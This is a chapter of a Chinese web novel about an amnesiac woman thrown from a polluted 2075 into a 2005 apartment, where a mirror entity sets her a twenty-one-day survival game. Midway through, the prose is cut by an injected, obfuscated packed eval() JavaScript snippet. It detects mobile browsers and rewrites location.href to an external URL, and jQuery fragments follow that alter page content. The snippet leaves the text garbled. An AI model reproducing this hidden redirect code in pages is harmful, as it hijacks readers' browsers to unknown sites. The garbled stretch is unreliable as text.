2075年，污染已至，无人幸免。
花时宜被尖锐的头痛惊醒，眼前的一切都无比陌生。
她失忆了。
除了知道名字叫花时宜，失忆前那场车祸和右腿碎裂的剧痛之外她什么都不记得。
她从公寓床上坐起，房间里充满甜腻的腐臭味，地上堆满了速食包装与空罐头。
她抬眼看向窗外———空气浑浊，天色暗沉，远处的物体被浓雾阻挡。
床边的通讯器响起新闻播报：
“全球模因污染已经爆发三年，目前仍无好转迹象……”
模因污染？三年？
花时宜看向自己的右腿，膝盖以下的裤管空空荡荡。
她用拐杖拨开地上的杂物和挡路的工兵锤，然后从垃圾桶里扯出散发馊味的垃圾袋，一瘸一拐地下楼。
拖着沉重的袋子一步一顿地蹭出房门时，她愈发疑惑——这是哪里？我到底在这里住了多久？为什么什么都想不起来？
折腾了半天，她终于把袋子丢进锈迹斑斑的铁皮桶。
可能是因为太久没出门的缘故，每走一步都让她头晕目眩。
用拐杖强撑着身体回到公寓楼下时，耳朵里尖锐的嗡嗡声快要刺穿大脑。
突然，眼前一黑，她踉跄着向前摔倒——
在意识彻底陷入黑暗的前一瞬，脑海里响起了机械音：
【初始能量消耗完毕，宿主右腿已恢复完毕，进入休眠状态。】
预想中的坠地并没有发生。
一只有力的手稳稳扶住了她。
道谢的话还没说出口没说出口，她就被那人和她身后的场景惊讶的目瞪口呆。
原本三十层的公寓楼消失了，眼前立着的是一栋六层高的老式楼房。
那房子虽然不破败但墙面泛黄、遍布斑驳。
整栋楼都有着一股浓重的旧日气息。
花时宜瞪大了眼睛，目光不顾一切地上下扫视这幢陌生的建筑，直到扶住她的手轻轻松开，她才猛地将视线拽回到眼前人身上。
那是位上了年纪、身材矮小的妇人。
那人身穿件手织的花色毛衣，袖口处露出一截粉色秋衣的边。
花时宜愣了愣，尽管她还是什么都想不起来，但潜意识里根深蒂固的常识告诉她——如今早是轻薄保暖的新材料当家，这种秋衣，似乎是奶奶辈的古旧记忆了。
“小姑娘，摔一跤摔傻啦？”没等她细想，妇人已带着浓浓的S市口音开了口，“年轻人走路要当心的呀，怎么好端端就摔了呢？”
“不好意思，我的腿……”花时宜话到一半，忽然意识到两手空空。
拐杖不见了。
她低下头，看见右腿的空空的裤管现在充实而饱满地撑起着。
念头如闪电般窜过脑海，难道说？她强压住几乎要喷涌而出的狂喜，对着右腿狠狠掐了下去。
嘶——！痛感鲜明而尖锐。
是活的！她的腿是活的！
剧痛还留在皮肤上，嘴角却已无法控制地高高扬起。
“哎哟喂，你这孩子！”妇人嗔怪道，“摔了就摔了，下次小心点就好了呀，怎么还自己掐自己呢？真是拎不清哦。”
花时宜脑子还是嗡嗡的。
好在妇人是个热络人，自顾自地絮叨起来：
“现在是零五年啦，千禧都五年喽！你们这些年轻人呀，跟以前是不大一样了……”
零五年。2005年。
这年份带来的冲击在她脑子里炸开，她穿越了？
花时宜不敢再多问，只能随便含糊应付着妇人。幸好妇人健谈，唠叨着嘱咐她：“你房间在六楼，这老房子没电梯，上下楼梯当心点，可别再摔着喽。”
这妇人，应该是房东吧，可真是热心肠啊。花时宜送走房东，独自踏上公寓楼梯。
她深吸一口气，脑海里一个清晰的念头压过所有不安：无论发生了什么，她都要活下去，找回记忆。
当务之急是先去房间里探查一番，肯定能找到线索。
她在六楼楼梯间停住脚步，摸了摸口袋，摸到了一块坚硬冰凉的金属。
那是一把泛着锈迹的黄铜钥匙，上面贴着写着606字样的便签。
钥匙插进了大门的锁孔，花时宜顺利地打开了门。
她迈入客厅，那里空无一人，
很快她就找到了写着她名字的那间房。
她轻轻一压把手，门无声地开了。
房间很小，小到一眼能望到头。
整体陈设也十分简单，近乎空荡。
花时宜径直走到书桌前，拉开椅子坐下，她的目光就对上了桌面立着的镜子。
镜面映出了她的脸，似乎没什么不对劲。
在她的注意力马上要转移时，镜子的玻璃上就毫无征兆地洇出了几行孩童涂鸦般的血红色字迹：
别走别走，看这里，看这里呀。
欢迎你，天选之人。
喜欢这份惊喜吗？
惊喜二字笔墨晕开，像是写作者自己也在斟酌用词。
有没有感觉你的这具身体比从前好用多了？
但这都不是真的哦。你现在身处于一个为你量身打造，无比真实的游戏。
镜面微光流转，字迹也在这里停顿了，背后仿佛有双眼睛正在偷看她的反应。
你是唯一的玩家，也是唯一的希望。
游戏的规则很简单：你只需要通关，就能带着奖励回到现实。
很诱人的条件，对不对？
镜面恢复平静，只映出花时宜微微皱起的眉头，和那双因怀疑而眯起的眼。
花时宜看着那诡异的红字，大脑急速运转。
它是什么？凭什么认定我？按照它的指示真的能让我回到我原来的年代吗？
这镜子字里行间都让人感到脊背发凉。
更让她不适的是那东西字里行间透出的非人感。它好像在精心模仿人类语调，但又无法真的像人一样自然地说话。
相信它？绝无可能。
电光石火间，她做出了决断。
与其被动接受信息，不如主动试探规则。
她一把抓起镜子，几步走到窗前，刷地拉开了窗户，拿着镜子伸出窗外。
风瞬间灌入房间，吹起她鬓角的碎发。
她目光死死盯着镜面，做出要松手的姿态。
“我不知道你是什么东西，但如果你不说人话，我不介意让你体验一下自由落体。”她没好气地开口。
这一次镜面没有任何变化。
只是下一秒，新的血色字迹在窗户的玻璃上浮现：
粗鲁！
媒介于我而言无关紧要，重要的是信息。
现在，我们可以好好谈谈了吗？
花时宜啧了一声。
她明白了，毁掉镜子毫无意义，因为任何平面都可能成为它的“嘴”。
她只好收回手，关好窗，回到桌子前，然后将镜子放回桌面。期间她刻意放慢动作，借此疯狂思索对策。
然后她重新坐了下来，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283737|198389||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
目光平静地望向镜子——或者说，望向借由镜子呈现的那个存在。
“谈什么？”她斟酌着词语，抛出了最核心的问题，“所以游戏规则是什么？”
镜面如水纹波动，新的字迹缓缓出现：
很好，一个明智的问题。
亲爱的，这座公寓就是你的全部世界。别想着出去，门是不会开的。
如果你饿了就去客厅冰箱找吃的，我可不希望玩家过早退场。
在这里的每段时光都很珍贵，整整三天。好好享受这2005年的空气吧。
三天后，这里会变成十年后，也就是2015年的样子。而你必须在三天之内，嗅出当下的一切里藏着的那点“坏东西”。
就这样，三天又三天，直到现实的到来。
旅程一共七段，整整二十一天。
只要你足够聪明，躲过所有意外，你就能带着完好无损的身体，从这场漫长的梦里醒来，回到现实世界。
怎么样？很划算吧？
但如果你错过了线索，
那你就会在下一个三天里，亲身体验到那场被你忽略的灾难。相信我，那绝不会愉快。
花时宜的目光在“完好无损的身体”和“灾难”之间扫过，声音冷静：“线索是什么形式？坏东西指的是活物、死物，还是某种现象？”
字迹的态度充满玩味：
这需要你用眼睛去看，用脑子去想。提示太多，游戏就无趣了。
字迹彻底消失。窗外的光线，似乎在这一刻凝结，然后朝着不可逆转的方向，开始流逝。
花时宜又对着镜子叫了它几声，没有得到任何回应。于是她不再等待，开始搜索房间。
房间十分空荡，可以调查的地方不多。
她环顾四周都没有找到什么可疑的物品。
直到她在空无一物的床头柜上，发现了张凭空出现的纸条。
那纸条的纸质泛黄，字迹清晰又端正，上面写着：
表妹：
欢迎你来我们家暂住，家里有男人和孩子，所以有些规矩望你配合。
水电费我们来承担，但日常用品需要你自备。房子次卧让给你一个人睡，但请你节约用水用电。
还有，你母亲给的八百借住费我已经收下，此事切勿让我丈夫与儿子知晓，以免产生误会。
望你谨言。
表姐李梅 2015.9.3
花时宜看完，好像明白了什么。
手里的纸条在这时慢慢消失。
另外两间房的门也始终紧闭。她按捺住敲门的冲动决定先暂停调查。
第二天清晨，花时宜走出房间。除了她的房间之外客厅里还有两扇紧闭的木门。
其中一扇门的右下角布满深浅不一的划痕，高度大约到一个孩子的腰部。
她蹲下细看那些划痕。
在她端详时，木门上慢慢浮起一行像是指甲刻的歪斜字迹。
【张小宇，十岁。他说门后藏着怪兽，遂用塑料骑士剑砍门。】
字迹很快淡去。
此时，对面房间的门打开了。一个穿着低腰牛仔裤和豹纹短背心的年轻女孩走了出来。
那女孩染着栗色头发，她看到花时宜并不惊讶，只是扫了一眼，淡淡说了句“你好”，便径直走向大门。
“嗯，早上好。”
花时宜表面平淡回复，脚步却不停，立刻跟上那个女孩。
按部就班玩过家家游戏是不可能的，不会逃课的玩家不是好玩家，冲了！